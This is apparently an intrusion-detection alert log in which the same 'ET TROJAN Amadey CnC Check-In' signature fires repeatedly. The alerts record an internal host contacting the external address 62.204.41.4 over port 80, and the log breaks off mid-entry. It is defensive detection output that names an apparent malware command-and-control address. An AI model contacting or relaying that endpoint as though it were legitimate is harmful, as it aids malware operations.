Timestamp:	192.168.2.762.204.41.450410802027700 02/07/23-23:10:11.734233
SID:	2027700
Source Port:	50410
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450226802027700 02/07/23-23:09:24.417895
SID:	2027700
Source Port:	50226
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450471802027700 02/07/23-23:10:28.534174
SID:	2027700
Source Port:	50471
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450018802027700 02/07/23-23:08:28.986007
SID:	2027700
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450152802027700 02/07/23-23:09:04.274600
SID:	2027700
Source Port:	50152
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450443802027700 02/07/23-23:10:21.669848
SID:	2027700
Source Port:	50443
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450365802027700 02/07/23-23:10:00.817411
SID:	2027700
Source Port:	50365
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450282802027700 02/07/23-23:09:40.408974
SID:	2027700
Source Port:	50282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449824802027700 02/07/23-23:07:34.508277
SID:	2027700
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449741802027700 02/07/23-23:07:12.972313
SID:	2027700
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449954802027700 02/07/23-23:08:10.899376
SID:	2027700
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450337802027700 02/07/23-23:09:53.984195
SID:	2027700
Source Port:	50337
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449718802027700 02/07/23-23:07:07.389632
SID:	2027700
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450046802027700 02/07/23-23:08:37.701237
SID:	2027700
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450360802027700 02/07/23-23:09:59.589638
SID:	2027700
Source Port:	50360
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450259802027700 02/07/23-23:09:34.780949
SID:	2027700
Source Port:	50259
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450124802027700 02/07/23-23:08:57.344638
SID:	2027700
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450439802027700 02/07/23-23:10:20.713212
SID:	2027700
Source Port:	50439
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449982802027700 02/07/23-23:08:20.169197
SID:	2027700
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449921802027700 02/07/23-23:08:02.784331
SID:	2027700
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449734802027700 02/07/23-23:07:11.313399
SID:	2027700
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450001802027700 02/07/23-23:08:24.834270
SID:	2027700
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450157802027700 02/07/23-23:09:05.447048
SID:	2027700
Source Port:	50157
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450353802027700 02/07/23-23:09:57.891553
SID:	2027700
Source Port:	50353
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449725802027700 02/07/23-23:07:09.061494
SID:	2027700
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449790802027700 02/07/23-23:07:26.361222
SID:	2027700
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450344802027700 02/07/23-23:09:55.700525
SID:	2027700
Source Port:	50344
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450143802027700 02/07/23-23:09:02.035667
SID:	2027700
Source Port:	50143
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449781802027700 02/07/23-23:07:24.188556
SID:	2027700
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450095802027700 02/07/23-23:08:49.744924
SID:	2027700
Source Port:	50095
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449963802027700 02/07/23-23:08:13.161472
SID:	2027700
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450115802027700 02/07/23-23:08:55.052783
SID:	2027700
Source Port:	50115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450185802027700 02/07/23-23:09:14.360322
SID:	2027700
Source Port:	50185
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449762802027700 02/07/23-23:07:17.827370
SID:	2027700
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450381802027700 02/07/23-23:10:04.673244
SID:	2027700
Source Port:	50381
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450316802027700 02/07/23-23:09:48.784877
SID:	2027700
Source Port:	50316
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450020802027700 02/07/23-23:08:29.489590
SID:	2027700
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449938802027700 02/07/23-23:08:06.973604
SID:	2027700
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450058802027700 02/07/23-23:08:40.571514
SID:	2027700
Source Port:	50058
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450067802027700 02/07/23-23:08:42.809418
SID:	2027700
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449880802027700 02/07/23-23:07:49.880282
SID:	2027700
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449864802027700 02/07/23-23:07:45.902188
SID:	2027700
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450214802027700 02/07/23-23:09:21.511864
SID:	2027700
Source Port:	50214
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449947802027700 02/07/23-23:08:09.176994
SID:	2027700
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450140802027700 02/07/23-23:09:01.270109
SID:	2027700
Source Port:	50140
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450296802027700 02/07/23-23:09:43.846361
SID:	2027700
Source Port:	50296
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450131802027700 02/07/23-23:08:59.066086
SID:	2027700
Source Port:	50131
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450401802027700 02/07/23-23:10:09.526189
SID:	2027700
Source Port:	50401
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450086802027700 02/07/23-23:08:47.567671
SID:	2027700
Source Port:	50086
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449919802027700 02/07/23-23:08:02.303851
SID:	2027700
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450299802027700 02/07/23-23:09:44.598785
SID:	2027700
Source Port:	50299
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450169802027700 02/07/23-23:09:10.009649
SID:	2027700
Source Port:	50169
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449991802027700 02/07/23-23:08:22.396521
SID:	2027700
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450039802027700 02/07/23-23:08:34.413705
SID:	2027700
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450112802027700 02/07/23-23:08:54.333220
SID:	2027700
Source Port:	50112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449966802027700 02/07/23-23:08:13.888624
SID:	2027700
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449753802027700 02/07/23-23:07:15.610893
SID:	2027700
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449706802027700 02/07/23-23:07:04.472246
SID:	2027700
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449836802027700 02/07/23-23:07:38.152613
SID:	2027700
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450325802027700 02/07/23-23:09:51.040294
SID:	2027700
Source Port:	50325
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450242802027700 02/07/23-23:09:30.589447
SID:	2027700
Source Port:	50242
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450455802027700 02/07/23-23:10:24.593085
SID:	2027700
Source Port:	50455
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450372802027700 02/07/23-23:10:02.525802
SID:	2027700
Source Port:	50372
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449900802027700 02/07/23-23:07:54.774755
SID:	2027700
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450323802027700 02/07/23-23:09:50.536075
SID:	2027700
Source Port:	50323
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449961802027700 02/07/23-23:08:12.685375
SID:	2027700
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450032802027700 02/07/23-23:08:32.408441
SID:	2027700
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450384802027700 02/07/23-23:10:05.420068
SID:	2027700
Source Port:	50384
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449722802027700 02/07/23-23:07:08.360519
SID:	2027700
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449878802027700 02/07/23-23:07:49.349230
SID:	2027700
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450127802027700 02/07/23-23:08:58.089434
SID:	2027700
Source Port:	50127
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449750802027700 02/07/23-23:07:14.882617
SID:	2027700
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449704802027700 02/07/23-23:07:03.968547
SID:	2027700
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450050802027700 02/07/23-23:08:38.652718
SID:	2027700
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449737802027700 02/07/23-23:07:12.033255
SID:	2027700
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450004802027700 02/07/23-23:08:25.569822
SID:	2027700
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450341802027700 02/07/23-23:09:54.975800
SID:	2027700
Source Port:	50341
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450356802027700 02/07/23-23:09:58.629045
SID:	2027700
Source Port:	50356
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449994802027700 02/07/23-23:08:23.133003
SID:	2027700
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450145802027700 02/07/23-23:09:02.533585
SID:	2027700
Source Port:	50145
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449793802027700 02/07/23-23:07:27.063291
SID:	2027700
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449933802027700 02/07/23-23:08:05.759793
SID:	2027700
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450418802027700 02/07/23-23:10:13.656697
SID:	2027700
Source Port:	50418
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449755802027700 02/07/23-23:07:16.092892
SID:	2027700
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450469802027700 02/07/23-23:10:28.062597
SID:	2027700
Source Port:	50469
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450155802027700 02/07/23-23:09:04.977918
SID:	2027700
Source Port:	50155
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449951802027700 02/07/23-23:08:10.180584
SID:	2027700
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450060802027700 02/07/23-23:08:41.073047
SID:	2027700
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449827802027700 02/07/23-23:07:35.253285
SID:	2027700
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450351802027700 02/07/23-23:09:57.406628
SID:	2027700
Source Port:	50351
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449732802027700 02/07/23-23:07:10.829866
SID:	2027700
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450328802027700 02/07/23-23:09:51.766213
SID:	2027700
Source Port:	50328
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450178802027700 02/07/23-23:09:12.666182
SID:	2027700
Source Port:	50178
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450374802027700 02/07/23-23:10:02.999700
SID:	2027700
Source Port:	50374
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449810802027700 02/07/23-23:07:31.110999
SID:	2027700
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450173802027700 02/07/23-23:09:11.479350
SID:	2027700
Source Port:	50173
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449905802027700 02/07/23-23:07:57.664790
SID:	2027700
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450268802027700 02/07/23-23:09:36.981445
SID:	2027700
Source Port:	50268
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449727802027700 02/07/23-23:07:09.536306
SID:	2027700
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449709802027700 02/07/23-23:07:05.205403
SID:	2027700
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450251802027700 02/07/23-23:09:32.760947
SID:	2027700
Source Port:	50251
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450446802027700 02/07/23-23:10:22.408033
SID:	2027700
Source Port:	50446
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450318802027700 02/07/23-23:09:49.262876
SID:	2027700
Source Port:	50318
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450346802027700 02/07/23-23:09:56.168424
SID:	2027700
Source Port:	50346
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449956802027700 02/07/23-23:08:11.390677
SID:	2027700
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449800802027700 02/07/23-23:07:28.753249
SID:	2027700
Source Port:	49800
Destination Port:	80
Protocol:	TCP
